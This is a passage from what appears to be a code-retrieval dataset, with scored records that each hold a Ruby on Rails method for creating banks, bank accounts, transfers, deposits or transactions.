"text": "def create\n @bank = Bank.new(params[:bank])\n @bank.created_by = current_user.luser.name\n\n respond_to do |format|\n if @bank.save\n luser_bank = LuserBank.new\n luser_bank.bank_id = @bank.id\n luser_bank.luser_id = current_user.luser.id\n luser_bank.save\n \n Activity.CreatedBank(current_user.luser, @bank)\n \n format.html { redirect_to bank_url(current_user.luser.name, @bank), notice: 'Sound bank was successfully created.' }\n format.json { render json: @bank, status: :created, location: @bank }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "14fbe8a4050fcc1747b241ca304512bd",
"score": "0.6434568",
"text": "def create_transaction\n amount = transfer_params['amount']\n description = transfer_params['description']\n date = transfer_params['date']\n\n # Check if any of the parameters are missing\n return if check_missing_transaction_params(transfer_params)\n \n # Check if either account does not exist\n return unless @account_from = check_existing_account(transfer_params['account_from'])\n return unless @account_to = check_existing_account(transfer_params['account_to'])\n\n # Check if source account belongs to logged in user\n return unless check_account_from_belongs_to_user\n \n # Check if transfering to same account\n return if check_transfer_to_same_account\n\n #\n #\n # Execute transaction\n transaction = Transaction.execute(\n account_to: @account_to,\n account_from: @account_from,\n amount: amount.round(2),\n description: description,\n date: date\n )\n\n if transaction \n render json: transaction, status: :ok\n else\n render json: { error: \"Transaction failed to execute\" }, \n status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a79fda2e55f6d969f5deb558fc843573",
"score": "0.6427644",
"text": "def create_bank_account *args\n warn_on_positional args\n\n options = args.last.is_a?(Hash) ? args.pop : {}\n name = args[0] || options.fetch(:name) { }\n account_number = args[1] || options.fetch(:account_number) { nil }\n bank_code = args[2] || options.fetch(:bank_code) {\n options.fetch(:routing_number) {\n nil\n }\n }\n meta = args[3] || options.fetch(:meta) { nil }\n\n bank_account = BankAccount.new(\n :uri => self.bank_accounts_uri,\n :name => name,\n :account_number => account_number,\n :bank_code => bank_code,\n :meta => meta\n )\n\n bank_account.save\n end",
"title": ""
},
{
"docid": "aba3a15ce12ed7fc9f350490519d29b2",
"score": "0.64270467",
"text": "def create\n @bank = Bank.new(bank_params)\n authorize @bank\n respond_to do |format|\n if @bank.save\n format.html { redirect_to (params[:save_and_new].present? ? new_bank_path : @bank), success: I18n.t('notices.created', entity: Bank.model_name.human, id: @bank.id) }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "be940fabeb2726340623dd2778b6a56f",
"score": "0.6401211",
"text": "def create\n @bank_budget = BankBudget.new(bank_budget_params)\n\n respond_to do |format|\n if @bank_budget.save\n format.html { redirect_to @bank_budget, notice: 'Bank budget was successfully created.' }\n format.json { render :show, status: :created, location: @bank_budget }\n else\n format.html { render :new }\n format.json { render json: @bank_budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1456f33e83bcbf6ecd0cf5c1516cc708",
"score": "0.63954747",
"text": "def create\n @balance = Balance.new(params[:balance])\n\n\t\tif @balance.name == 'FREE_PACKET'\n\t\t\t@balance.balance_type = 'BYTE'\n\t\tend\n\n respond_to do |format|\n if @balance.save\n format.html { redirect_to(@balance, :notice => 'Balance was successfully created.') }\n format.xml { render :xml => @balance, :status => :created, :location => @balance }\n format.json { \n\t\t\trender :json => @balance, :status => :created, :location => @balance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @balance.errors, :status => :unprocessable_entity }\n format.json { render :json => @balance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "370ff58e85a1dd15349af7ca4d0ad67b",
"score": "0.639479",
"text": "def create\n @transfer = Transfer.new(transfer_params)\n\n respond_to do |format|\n if @transfer.save\n format.html { redirect_to redirect_link || @transfer, notice: t('transfer.successfully_created') }\n format.json { render action: 'show', status: :created, location: @transfer }\n else\n flash.keep\n format.html { render action: 'new' }\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "10fba377c99855a569d58a6e5a73e6b2",
"score": "0.6382961",
"text": "def create\n @bank_account = BankAccount.new(params[:bank_account])\n\n respond_to do |format|\n if @bank_account.save\n flash[:notice] = 'Conta bancária criada.'\n format.html { redirect_to(@bank_account) }\n format.xml { render :xml => @bank_account, :status => :created, :location => @bank_account }\n else\n default_data\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank_account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c76260ab44b5e665db62dceae7d0335e",
"score": "0.6341299",
"text": "def create\n @bank_card_bin = Bank::CardBin.new(bank_card_bin_params)\n if @bank_card_bin.save\n record_activities('创建', '卡bin', @bank_card_bin.bank_bin)\n flash[:success] = '创建卡bin成功'\n redirect_to bank_card_bins_path\n else\n flash[:error] = \"创建失败: #{@bank_card_bin.errors.full_message}\"\n render :new\n end\n end",
"title": ""
},
{
"docid": "048efe383811056a092900ffa11d16e1",
"score": "0.6335192",
"text": "def create\n @transfer = current_user.sent_transfers.create(transfer_params)\n if current_user\n transaction_quantity = params[:transfer][:quantity]\n user_balance = current_user.wallet.balance\n if (user_balance > transaction_quantity.to_i + 10000) \n build_tx()\n if @transfer.save\n redirect_to @transfer, notice: 'Transfer was successfully created.'\n else\n render :new\n end\n elsif (user_balance < transaction_quantity.to_i + 10000)\n redirect_to @transfer, notice: 'Transfer unsuccessful. Insufficient funds.'\n elsif (user_balance == 0) \n redirect_to @transfer, notice: 'Transfer unsuccessful. You have no money.'\n end\n end\n end",
"title": ""
},
{
"docid": "acb6aa7b5cf9a3233939c72029416ed7",
"score": "0.6326542",
"text": "def create_deposit(options, timestamp=nil)\n post '/transactions/deposit', timestamp, options\n end",
"title": ""
},
{
"docid": "ed1445a54653c3a15a6fab05d81cd148",
"score": "0.63164973",
"text": "def create\n\n if params[:internalTransferType] == 'internalTransferType_1' # transfer to one of my accounts\n destinationAcctNumber = params[:internal_transfer][:myAccountNumber]\n else\n destinationAcctNumber = params[:internal_transfer][:destinationAcctNumber]\n # check that account exists\n if !Account.exists?(destinationAcctNumber)\n\tredirect_to new_account_internal_transfer_url, account_id: @account.id, alert: \"Could not locate Account Number: #{destinationAcctNumber}\"\n\treturn\n end\n end\n amount = params[:internal_transfer][:amount]\n @internal_transfer = @account.internal_transfers.new ({\n :destinationAcctNumber => destinationAcctNumber,\n :amount => amount,\n :account_id => @account.id\n })\n\n if @internal_transfer.save\n redirect_to @account, notice: 'Transfer was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "7de45df0fbca96af4e32bc1843c15a4f",
"score": "0.63142806",
"text": "def create_balanced_account!\n return if skip_create\n ba = begin\n benchmark \"Create Balanced bank account for user #{user.id}\" do\n new_balanced_account.save\n end\n rescue Balanced::BadRequest => e\n # 400/invalid-routing-number means that the routing number can't be matched to an actual bank\n # see https://utahstreetlabs.lighthouseapp.com/projects/87974-copious/tickets/406\n if e.category_code == 'invalid-routing-number'\n raise UnidentifiedBank.new\n else\n raise e\n end\n end\n benchmark \"Add Balanced bank account to merchant account for user #{user.id}\" do\n user.balanced_account.add_bank_account(ba.uri)\n end\n self.balanced_url = ba.uri\n # adding the bank account to the user's account changes the bank account's uri. we need to fetch the bank\n # account from Balanced again to get the new url.\n self.balanced_url = balanced_account.uri\n self.last_four = balanced_account.last_four\n balanced_account\n end",
"title": ""
},
{
"docid": "1a210b966656c1f3c8a52fc79738dc32",
"score": "0.6313321",
"text": "def create\n @account_transaction = user_default_branch.current_accounting_period.account_transactions.build(params[:account_transaction])\n \n respond_to do |format|\n if @account_transaction.save\n flash[:notice] = 'AccountTransaction was successfully created.'\n format.html { redirect_to(@account_transaction) }\n format.xml { render :xml => @account_transaction, :status => :created, :location => @account_transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0060be88d125a56fb4e6d95d7099f30b",
"score": "0.6312596",
"text": "def create\n @accountbank = Accountbank.new(accountbank_params.merge(user: current_user))\n\n respond_to do |format|\n if @accountbank.save\n format.html { redirect_to @accountbank, notice: 'Accountbank was successfully created.' }\n format.json { render :show, status: :created, location: @accountbank }\n else\n format.html { render :new }\n format.json { render json: @accountbank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df6fd4d1d000be49ae1457abcd7dc188",
"score": "0.6291622",
"text": "def create\n @transfer = Transfer.new(transfer_params)\n @transfer.user = current_user\n\n respond_to do |format|\n if @transfer.save\n format.html { redirect_to @transfer, notice: 'Transferência criada com sucesso.' }\n format.json { render :show, status: :created, location: @transfer }\n else\n format.html { render :new }\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c6345a8c19b1a6593154e98cebb92aa0",
"score": "0.62779796",
"text": "def processor_bank_transfer_create_with_http_info(processor_bank_transfer_create_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PlaidApi.processor_bank_transfer_create ...'\n end\n # verify the required parameter 'processor_bank_transfer_create_request' is set\n if @api_client.config.client_side_validation && processor_bank_transfer_create_request.nil?\n fail ArgumentError, \"Missing the required parameter 'processor_bank_transfer_create_request' when calling PlaidApi.processor_bank_transfer_create\"\n end\n # resource path\n local_var_path = '/processor/bank_transfer/create'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(processor_bank_transfer_create_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'ProcessorBankTransferCreateResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['clientId', 'plaidVersion', 'secret']\n\n new_options = opts.merge(\n :operation => :\"PlaidApi.processor_bank_transfer_create\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PlaidApi#processor_bank_transfer_create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "0e239bd205ac7db5c359e506cb9259f5",
"score": "0.6277654",
"text": "def create\n @time_bank = TimeBank.new(params[:time_bank])\n @time_bank.user = current_user\n\n respond_to do |format|\n if @time_bank.save\n format.html { redirect_to @time_bank, notice: 'Time bank was successfully created.' }\n format.json { render json: @time_bank, status: :created, location: @time_bank }\n else\n format.html { render action: \"new\" }\n format.json { render json: @time_bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c26df4492252cc9c5c9e6fa7d14a394",
"score": "0.6272667",
"text": "def processor_bank_transfer_create_with_http_info(processor_bank_transfer_create_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PlaidApi.processor_bank_transfer_create ...'\n end\n # verify the required parameter 'processor_bank_transfer_create_request' is set\n if @api_client.config.client_side_validation && processor_bank_transfer_create_request.nil?\n fail ArgumentError, \"Missing the required parameter 'processor_bank_transfer_create_request' when calling PlaidApi.processor_bank_transfer_create\"\n end\n # resource path\n local_var_path = '/processor/bank_transfer/create'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(processor_bank_transfer_create_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'ProcessorBankTransferCreateResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['clientId', 'plaidVersion', 'secret']\n\n new_options = opts.merge(\n :operation => :\"PlaidApi.processor_bank_transfer_create\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PlaidApi#processor_bank_transfer_create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "f6cc621bea13585774c5c7347904c65d",
"score": "0.6270559",
"text": "def create\n @hz_bank = Hz::Bank.new(hz_bank_params)\n\n respond_to do |format|\n if @hz_bank.save\n format.html { redirect_to @hz_bank, notice: 'Bank was successfully created.' }\n format.json { render :show, status: :created, location: @hz_bank }\n else\n format.html { render :new }\n format.json { render json: @hz_bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7ad2072d0951c065b56f5041963f359",
"score": "0.62669426",
"text": "def create\n @bank_account = BankAccount.new(bank_account_params.merge(:owner_id => current_user.id))\n respond_to do |format|\n if @bank_account.save\n format.html { redirect_to @bank_account, notice: \"Bank account #{@bank_account.name} was successfully created.\" }\n format.json { render :show, status: :created, location: @bank_account }\n else\n format.html { render :new, :flash => {:error => @bank_account.errors.full_messages} }\n format.json { render json: @bank_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b090fbd658ce9647192255a588b28e04",
"score": "0.62665766",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n @transaction.card = get_card\n if @transaction.save\n @transaction.send_transaction_to_block_chain\n redirect_to wallet_path(@transaction.card.wallet)\n else\n render \"new\"\n end\n end",
"title": ""
},
{
"docid": "fd2c7d98cc1fa77fa995025c317faeab",
"score": "0.6261734",
"text": "def create\n Transfer.transaction do\n @to_transfer = Transfer.new(transfer_params)\n @from_transfer = Transfer.new(transfer_params)\n end\n @transfer = Transfer.new\n if customer?\n @accounts = Account.where(user_id: current_user.id)\n end\n @to_transfer.user_id = current_user.id\n @from_transfer.user_id = current_user.id\n respond_to do |format|\n if Transfer.transfer(@to_transfer, @from_transfer)\n format.html { redirect_to account_path(@from_transfer.account_id), notice: 'Transfer was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: 'new' }\n format.json { render json: @from_transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7da2fa9657ca6a8eba99215b5beb72e0",
"score": "0.6254879",
"text": "def create\n @bank_account = current_character.bank_accounts_personal_accounts.new(bank_account_params)\n authorize @bank_account\n\n if @bank_account.save\n redirect_to @bank_account, notice: 'BankAccount created successfully.'\n else\n render action: :new\n end\n end",
"title": ""
},
{
"docid": "8b3ea9294a5e3ee7712d7fffbddc1111",
"score": "0.624318",
"text": "def create\n @transfer_cash = TransferCash.create_transfer(params, @company.id, @current_user, @financial_year.year.name)\n respond_to do |format|\n if @transfer_cash.valid?\n @transfer_cash.save_with_ledgers\n @transfer_cash.register_user_action(request.remote_ip, 'created')\n format.html { redirect_to('/banking/index#transfer-cash', :notice => 'Transfer cash was successfully created.') }\n format.xml { render :xml => @transfer_cash, :status => :created, :location => @transfer_cash }\n else\n @tran_from_accounts = TransactionType.fetch_from_accounts(@company.id, 'transferacc')\n @tran_to_accounts = TransactionType.fetch_to_accounts(@company.id, 'transferacc')\n @tran_from_account_heads = AccountHead.get_transferacc_from_heads(@company.id)\n @tran_to_account_heads = AccountHead.get_contra_to_heads(@company.id)\n\n @withdrawal = Withdrawal.new_record(@company)\n @with_from_accounts = TransactionType.fetch_from_accounts(@company.id,'bankacc')\n @with_to_accounts = TransactionType.fetch_to_accounts(@company.id, 'cashacc')\n @with_from_account_heads = AccountHead.get_bankacc_from_heads(@company.id)\n @with_to_account_heads = AccountHead.get_contra_to_heads(@company.id)\n\n @deposit = Deposit.new_deposit(@company)\n @dep_from_accounts = TransactionType.fetch_from_accounts(@company.id,'cashacc')\n @dep_to_accounts = TransactionType.fetch_to_accounts(@company.id, 'bankacc')\n @dep_from_account_heads = AccountHead.get_cashacc_from_heads(@company.id)\n @dep_to_account_heads = AccountHead.get_bankacc_to_heads(@company.id)\n\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transfer_cash.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f205ba903b50dea9025e8ddb7e578293",
"score": "0.62379235",
"text": "def create\n @breadcrumb = 'create'\n @budget = Budget.new(params[:budget])\n @budget.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: crud_notice('created', @budget) }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n @projects = projects_dropdown\n @periods = periods_dropdown\n @charge_accounts = charge_accounts_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5391577678181baa5e1f10cdfa743a7e",
"score": "0.62262374",
"text": "def create\n @user = current_user\n @stock = Stock.find_by_id(params[:stock_id])\n @transfer = @stock.build_transfer(transfer_params)\n respond_to do |format|\n if @transfer.save\n # for email deliver\n TransferMailer.transfer_created(@user).deliver\n format.html { redirect_to stock_transfer_url(@stock, @transfer),\n notice:'Transfer was successfully created.'}\n format.json { render :show, status: :created,\n location: @transfer }\n else\n format.html { render :new }\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "61b1d6153a766baa122eaa259f349068",
"score": "0.62169915",
"text": "def create\n\n input_params = transfer_params\n from_account_id = input_params[:from_account_id]\n \n # FIXME: id is actual label!!!\n to_account_label = input_params[:to_account_id] \n amount = input_params[:amount].to_f\n\n from_account = BankAccount.find_by id: from_account_id\n if from_account.nil?\n render inline: \"can not find sender\"\n return\n end\n\n current_user_bank_account_ids = current_user.bank_accounts.map do |account| \n account.id\n end \n\n\n puts \"from_account_id #{from_account_id}\"\n puts \"current_user_bank_account_ids #{current_user_bank_account_ids}\"\n\n if !current_user_bank_account_ids.include?(from_account_id.to_i)\n render inline: \"You can not operate on other's account\"\n return\n end\n\n puts \"to_account_label #{to_account_label}\"\n to_account = BankAccount.find_by label: to_account_label\n\n if to_account.nil?\n render inline: \"Can not find receiver\"\n return\n end\n\n to_account_id = to_account.id\n\n transfer_data = {\n from_account_id: from_account_id,\n to_account_id: to_account_id,\n amount: amount\n }\n\n @transfer = Transfer.new(transfer_data)\n if @transfer.save\n if from_account.balance < amount\n redirect_to \"/transfers/new\" \n else \n if do_transaction(from_account, to_account, amount)\n puts \"transfer success\"\n redirect_to \"/users/#{current_user.username}\"\n else\n render inline: \"transfer failed\"\n return\n end\n end\n else\n render inline: \"transfer failed\"\n return\n end\n end",
"title": ""
},
{
"docid": "d7d0f1d3d4fa55b3a504bd72e17b8a0d",
"score": "0.62094116",
"text": "def create\n @bank_account = BankAccount.new(bank_account_params)\n @bank_account.user_id = current_user.id\n\n respond_to do |format|\n if @bank_account.save\n format.html { redirect_to current_user, notice: 'Bank Account was successfully created.' }\n format.json { render :show, status: :created, location: @bank_account }\n else\n format.html { render :new }\n format.json { render json: @bank_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78bd43943acac785c9d3f16cea34f508",
"score": "0.6200986",
"text": "def create\n @bank_account = current_user.bank_accounts.build(strong_params)\n flash[:notice] = 'Bank account was successfully created.' if @bank_account.save\n respond_with @bank_account\n end",
"title": ""
},
{
"docid": "c42c67080bda7de61146e87808e78424",
"score": "0.61939776",
"text": "def create\n type = params[:trans_type].capitalize\n type = 'Transaction' if type == 'Transfer'\n type_sym = type.downcase.to_sym\n amount = BigDecimal.new(params[type_sym].delete(:amount)).abs\n\n # It doesn't matter if it's invalid because we check that later:\n @transfer = nil\n case type_sym\n when :payment\n contact_name = params[:payment].delete(:other_party_id)\n contact = Contact.find_or_create_by_name_for_owner(contact_name, current_user.id)\n params[:payment][:other_party_id] = contact ? contact.id : nil\n @transaction = @account.payments.new(params[:payment])\n @transaction.payment = amount\n when :deposit\n contact_name = params[:deposit].delete(:other_party_id)\n contact = Contact.find_or_create_by_name_for_owner(contact_name, current_user.id)\n params[:deposit][:other_party_id] = contact ? contact.id : nil\n @transaction = @account.deposits.new(params[:deposit])\n @transaction.deposit = amount\n when :transaction\n @transaction = @account.payments.new(params[:transaction])\n @transaction.payment = amount\n @transfer = @account.transfer_to(@transaction, params[:transaction][:other_party_id])\n else\n return head :bad_request\n end\n\n return head :ok if amount == 0\n\n respond_to do |format|\n if @transaction.save\n if @transfer\n @transfer.save\n @transaction.update_attribute :transfer_transaction_id, @transfer.id\n @transfer.account.update_balance\n @transaction.account.update_balance\n end\n flash[:notice] = 'Transaction was successfully created.'\n format.html { head :ok }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e46f63e94b46e435d01139dcf94ffea4",
"score": "0.6188648",
"text": "def create\n @vehicle_bank_account = VehicleBankAccount.new(vehicle_bank_account_params)\n\n respond_to do |format|\n if @vehicle_bank_account.save\n format.html { redirect_to @vehicle_bank_account, notice: 'Vehicle bank account was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_bank_account }\n else\n format.html { render :new }\n format.json { render json: @vehicle_bank_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd5dc141f5c4967149538b5326f6c76f",
"score": "0.61877865",
"text": "def create\n @bank_account_type = BankAccountType.new(bank_account_type_params)\n\n respond_to do |format|\n if @bank_account_type.save\n format.html { redirect_to @bank_account_type, notice: 'Bank account type was successfully created.' }\n format.json { render :show, status: :created, location: @bank_account_type }\n else\n format.html { render :new }\n format.json { render json: @bank_account_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c094eb362b799baf56bac707e9ec67e3",
"score": "0.6177286",
"text": "def create\n @debt = Debt.new(params[:debt])\n\n respond_to do |format|\n if @debt.save\n format.html { redirect_to @debt, notice: 'Debt was successfully created.' }\n format.json { render json: @debt, status: :created, location: @debt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @debt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c8f5e7d6207fa36961e49e551b489fa3",
"score": "0.61760867",
"text": "def create_successful_transaction\n\t\tcreate_transaction\n\t\t@transaction.status = \"Succeed\"\n\t\t@transaction.save\n\t\tTransactionAgent.new(@transaction, same_bank?).send_money\n\t\t@transaction\n\tend",
"title": ""
},
{
"docid": "67e5f55f9673494d20233484f9f2e41a",
"score": "0.6157278",
"text": "def create\n @stock_transfer = StockTransfer.new(params[:stock_transfer])\n if @stock_transfer.save\n redirect_to(edit_stock_transfer_path(@stock_transfer), :notice => 'Stock Transfer was successfully created.')\n else\n render :action => \"new\"\n end\n end",
"title": ""
},
{
"docid": "a0f038ff8f50e9a1e20e6cb5a61a2b22",
"score": "0.6154118",
"text": "def create\n @account = Account.new( \n :name => params[:account][:name],\n :allowance => params[:account][:allowance],\n :password => params[:account][:password],\n :bank_id => @bank.id)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to bank_accounts_path(@bank), :notice => 'Account was successfully created.' }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "436f0e0979bf13bfdca1e61f73da9bf2",
"score": "0.61481225",
"text": "def create\n @debt = Debt.new(params[:debt])\n \n respond_to do |format|\n if @debt.save\n format.html { redirect_to @debt, notice: 'Kurban olusturuldu.' }\n format.json { render json: @debt, status: :created, location: @debt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @debt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b57a06b7cdc4c74e6cde0a58d6af839",
"score": "0.61398005",
"text": "def create\n @transfer = Transfer.new(transfer_params_no_amount)\n @transfer.user = current_user\n\n @transfer.amount = currency_string_to_number(transfer_params_amount)\n set_year_month_day(@transfer)\n respond_to do |format|\n if @transfer.save\n format.html { redirect_to transfers_path, notice: 'Transfer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transfer }\n else\n set_select_options\n format.html { render action: 'new' }\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8604996f975162c97f41cbafb106e757",
"score": "0.61319286",
"text": "def create\n respond_with client, @_resource = DepositContractService.new.create(client, deposit_contract_params)\n end",
"title": ""
},
{
"docid": "e9f0340077ff6751fe28749077669e08",
"score": "0.61246794",
"text": "def transfer\n source_account = params['operation']['source_account']\n destination_account = params['operation']['destination_account']\n destination_bank = params['operation']['destination_bank']\n amount = params['operation']['amount'].to_f\n begin\n auth_code = current_user.do_withdraw(source_account, amount, destination_account, destination_bank)\n render json: { :auth_code => auth_code }, :status => :created\n rescue Api::V1::InvalidAmountException => e\n render json: { :message => e.message }, :status => :bad_request\n rescue Api::V1::InvalidBalanceException => e\n render json: { :message => e.message }, :status => :bad_request\n rescue Api::V1::InvalidClabeException => e\n render json: { :message => e.message }, :status => :bad_request\n end\n end",
"title": ""
},
{
"docid": "113bc12619cff802ae3964b641fc0427",
"score": "0.612315",
"text": "def create\n @bankcard = Bankcard.new(bankcard_params)\n\n respond_to do |format|\n if @bankcard.save\n format.html { redirect_to @bankcard, notice: 'Bankcard was successfully created.' }\n format.json { render :show, status: :created, location: @bankcard }\n else\n format.html { render :new }\n format.json { render json: @bankcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ee67bd71d86cacf6ab19caa3e3d49910",
"score": "0.6118201",
"text": "def create\n @transfer = Transfer.new(params[:transfer])\n @transfer.debitor = current_user\n\n respond_to do |format|\n if @transfer.save\n flash[:notice] = 'Transfer was successfully created.'\n format.html { redirect_to(@transfer) }\n format.iphone { redirect_to(@transfer) }\n format.xml { render :xml => @transfer, :status => :created, :location => @transfer }\n else\n format.html { render :action => \"new\" }\n format.iphone { render :action => \"new\", :layout => false }\n format.xml { render :xml => @transfer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f1a8c7ae404c3cf3bbe49a95506e972f",
"score": "0.61164606",
"text": "def create\n @banking = Banking.new(banking_params)\n\n respond_to do |format|\n if @banking.save\n format.html { redirect_to @banking, notice: 'Banking was successfully created.' }\n format.json { render :show, status: :created, location: @banking }\n else\n format.html { render :new }\n format.json { render json: @banking.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd1bfafa2ada37e53d1304766adcf5cb",
"score": "0.61147135",
"text": "def create(options = {})\n validate(options)\n\n path = \"/v2/\"\n path << (options[:side] == :buy ? 'buy/' : 'sell/')\n path << (options[:type] == :market ? 'market/' : '')\n path << (options[:currency_pair].to_s + '/')\n\n params = { amount: options[:amount] }\n\n begin\n Bitstamp::Helper.parse_object! Bitstamp::Net::post(path, params).to_str, self.model\n # Bitstamp::Net::post(path, params)\n rescue => e\n puts e.response\n # TODO: do something with this error\n end\n end",
"title": ""
},
{
"docid": "ab0a39dc5c66e823e604bdeed251e657",
"score": "0.61136097",
"text": "def create\n @stock_transfer = StockTransfer.new(stock_transfer_params)\n\n respond_to do |format|\n if @stock_transfer.save\n format.html { redirect_to @stock_transfer, notice: 'Stock transfer was successfully created.' }\n format.json { render :show, status: :created, location: @stock_transfer }\n else\n format.html { render :new }\n format.json { render json: @stock_transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a6b93db1d2425023f194f53e75e293c9",
"score": "0.6111768",
"text": "def create_transaction(model, options={}) path = \"/api/v2/transactions/create\"\n post(path, model, options, AvaTax::VERSION) end",
"title": ""
},
{
"docid": "76504e40dacbbdc0432495f188333365",
"score": "0.6105926",
"text": "def create\n authorize_action_for Transfer, at: current_store\n @transfer = current_store.transfers.build(transfer_params)\n\n respond_to do |format|\n if @transfer.save\n track @transfer\n format.html { redirect_to edit_admin_transfer_path(@transfer),\n notice: t('.notice', transfer: @transfer) }\n format.json { render :show, status: :created, location: admin_transfer_path(@transfer) }\n else\n format.html { render :new }\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0f8802a4552469c632fb1f9a5bc8706d",
"score": "0.61029994",
"text": "def create\n @transfer_order = TransferOrder.new(params[:transfer_order])\n\n respond_to do |format|\n if @transfer_order.save\n format.html { redirect_to @transfer_order, :notice => 'Transfer order was successfully created.' }\n format.json { render :json => @transfer_order, :status => :created, :location => @transfer_order }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @transfer_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3a48710263e6d521bf019a2490dabdf",
"score": "0.61027616",
"text": "def create\n @bank_card = BankCard.new(bank_card_params)\n\n respond_to do |format|\n if @bank_card.save\n format.html { redirect_to @bank_card, notice: 'Bank card was successfully created.' }\n format.json { render :show, status: :created, location: @bank_card }\n else\n format.html { render :new }\n format.json { render json: @bank_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "abc2494f9353309a93b4427247dfa39d",
